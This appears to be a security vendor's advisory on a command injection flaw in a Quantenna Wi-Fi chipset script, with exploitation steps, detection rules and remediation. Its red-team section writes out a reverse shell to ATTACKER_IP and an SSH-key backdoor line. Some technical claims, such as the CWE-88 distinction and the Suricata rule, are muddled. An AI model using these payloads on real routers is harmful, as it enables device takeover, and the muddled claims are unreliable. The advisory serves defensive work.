CVE-2025-32459

Executive Summary

CVE-2025-32459 is a critical command injection vulnerability residing in the Quantenna Wi-Fi chipset's local control script, router_command.sh. The vulnerability is specifically triggered via the sync_time argument, allowing an attacker with local access to inject arbitrary operating system commands. This is a classic case of Argument Injection (CWE-88) where the script fails to properly neutralize argument delimiters before passing them to a system command.

The vulnerability affects Quantenna Wi-Fi chipsets up to SDK version 8.0.0.28. At the time of this report, no official patch has been released by Quantenna; however, they have provided a best practices guide for device manufacturers (OEMs) who integrate this chipset. The CVSS score of 7.7 reflects a high impact on confidentiality and integrity, but no impact on availability. The attack vector is local, requiring no privileges or user interaction, making it a significant threat in multi-tenant or IoT environments where local access can be obtained.

Key Risk: An attacker with local shell access (e.g., via SSH, serial console, or another compromised service) can execute arbitrary commands as the root user, leading to full device compromise, data exfiltration, and persistent backdoor installation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.7 (HIGH)
• Attack Vector (AV): Local (L) – The attacker must have local access to the device.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None (N) – The attack does not require any user action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to the filesystem and memory.
• Integrity (I): High (H) – Full write access to the filesystem.
• Availability (A): None (N) – The vulnerability does not directly cause a denial of service.

Threat Level: HIGH. While the attack vector is local, the lack of required privileges and the high impact make this a critical vulnerability for any device using the Quantenna chipset. In embedded systems, local access is often achievable through other vulnerabilities or physical access.

Deep Dive & Mechanics

The vulnerability is located in the router_command.sh script, specifically within the handling of the sync_time argument. The script likely uses a function similar to the following pseudo-code:

# Vulnerable snippet from router_command.sh
sync_time() {
    local time_source=$1
    # Direct injection into a system command
    ntpdate -u $time_source
}

The script takes the user-supplied value for sync_time and passes it directly to a command like ntpdate or date without proper sanitization. An attacker can inject command delimiters such as ;, |, &, or backticks to execute arbitrary commands.

Example Injection:

# Normal usage
router_command.sh sync_time pool.ntp.org

# Malicious usage
router_command.sh sync_time "pool.ntp.org; id"

This would execute ntpdate -u pool.ntp.org; id, revealing the current user context (likely root).

The root cause is CWE-88: Improper Neutralization of Argument Delimiters in a Command. The script does not validate or escape the input before using it as an argument to a shell command. This is distinct from classic command injection (CWE-78) because the injection occurs through an argument delimiter rather than a command separator, though the end result is the same.

Vulnerable vs. Patched Code

Vulnerable Code (SDK <= 8.0.0.28):

# router_command.sh - Vulnerable
sync_time() {
    local time_source=$1
    ntpdate -u $time_source
}

Patched Code (Hypothetical - based on best practices guide):

# router_command.sh - Patched
sync_time() {
    local time_source=$1
    # Validate input: only allow hostnames or IPs
    if [[ ! "$time_source" =~ ^[a-zA-Z0-9.-]+$ ]]; then
        echo "Invalid time source"
        exit 1
    fi
    ntpdate -u "$time_source"
}

The patched version uses input validation to restrict the time_source parameter to alphanumeric characters, dots, and hyphens (valid for hostnames/IPs). It also quotes the variable to prevent word splitting, though this is secondary to the validation.

Note: Since no official patch exists, the above is a recommended fix. OEMs should implement similar validation in their custom scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a device with a vulnerable Quantenna chipset (e.g., via SSH, serial console, or a compromised web service).
• Knowledge of the router_command.sh script location (typically /usr/bin/router_command.sh or /sbin/router_command.sh).

Exploitation Steps:

1. Identify the vulnerable script:

   which router_command.sh
   

2. Test for injection:

   router_command.sh sync_time "test; id"
   

3. Execute a reverse shell:

   router_command.sh sync_time "test; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
   

4. Persistence (add SSH key):

   router_command.sh sync_time "test; echo 'ssh-rsa AAA...' >> /root/.ssh/authorized_keys"
   

Lab Setup:

• Use a QEMU emulated environment with a Quantenna firmware image (e.g., from a router dump).
• Alternatively, use a real device in a isolated network.
• Set up a netcat listener on the attacker machine: nc -lvnp 4444

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual arguments to router_command.sh in audit logs.
• Look for shell metacharacters (;, |, &, `) in the sync_time parameter.
• Use process monitoring to detect unexpected child processes spawned by router_command.sh.

Hardening:

• Apply input validation as shown in the patched code.
• Restrict execution of router_command.sh to only the ntp user or a dedicated service account.
• Use AppArmor or SELinux to confine the script's capabilities.
• Remove the script if not needed, or replace it with a compiled binary.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /usr/bin/router_command.sh (or similar path) – the vulnerable script.
• Unexpected files in /tmp/ or /root/ created by injected commands.
• Modified /root/.ssh/authorized_keys with unknown SSH keys.

Process-Based IOCs:

• router_command.sh spawning unexpected processes like bash, nc, python, perl.
• ntpdate (or date) being called with suspicious arguments containing shell metacharacters.

Network-Based IOCs:

• Outbound connections to unknown IPs on high ports (e.g., 4444, 1337) from the device.
• DNS queries to unusual domains (e.g., test;id would not generate DNS, but a reverse shell would).

Log-Based IOCs:

• Audit logs showing router_command.sh executed with arguments containing ;, |, &, or `.
• Syslog entries with errors from ntpdate due to invalid hostnames.

Detection Engineering

YARA Rule

rule CVE_2025_32459_Quantenna_Command_Injection {
    meta:
        description = "Detects command injection attempts in router_command.sh sync_time argument"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32459"
        severity = "high"

    strings:
        $injection1 = /sync_time\s+[^;|&`]+[;|&`]/
        $injection2 = /sync_time\s+.*\$\(/
        $injection3 = /sync_time\s+.*`/

    condition:
        any of them
}

Sigma Rule

title: CVE-2025-32459 - Quantenna Command Injection via sync_time
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in router_command.sh sync_time argument
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32459
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/router_command.sh'
        CommandLine|contains|all:
            - 'sync_time'
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in time source (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32459 - Quantenna Command Injection Outbound"; flow:to_server,established; content:"router_command.sh"; content:"sync_time"; content:";"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the script: If router_command.sh is not essential, remove or rename it to prevent execution.
2. Restrict access: Use file permissions (chmod 700) and ownership (chown root:root) to limit execution to root only.
3. Implement input validation: Modify the script to strictly validate the sync_time parameter against a whitelist of allowed characters (e.g., ^[a-zA-Z0-9.-]+$).

Long-Term Fixes:

• Vendor Patch: Await an official SDK update from Quantenna. In the meantime, apply the best practices guide provided by the vendor.
• OEM Customization: Device manufacturers should integrate the fix into their firmware builds and push updates to end users.
• Replace with compiled binary: Rewrite the time synchronization functionality in C or Go to avoid shell injection entirely.

Workarounds:

• Use a firewall to block outbound connections from the device except to known NTP servers.
• Monitor for anomalous process execution using EDR or host-based IDS.

Valters IT
Securing Digital Frontiers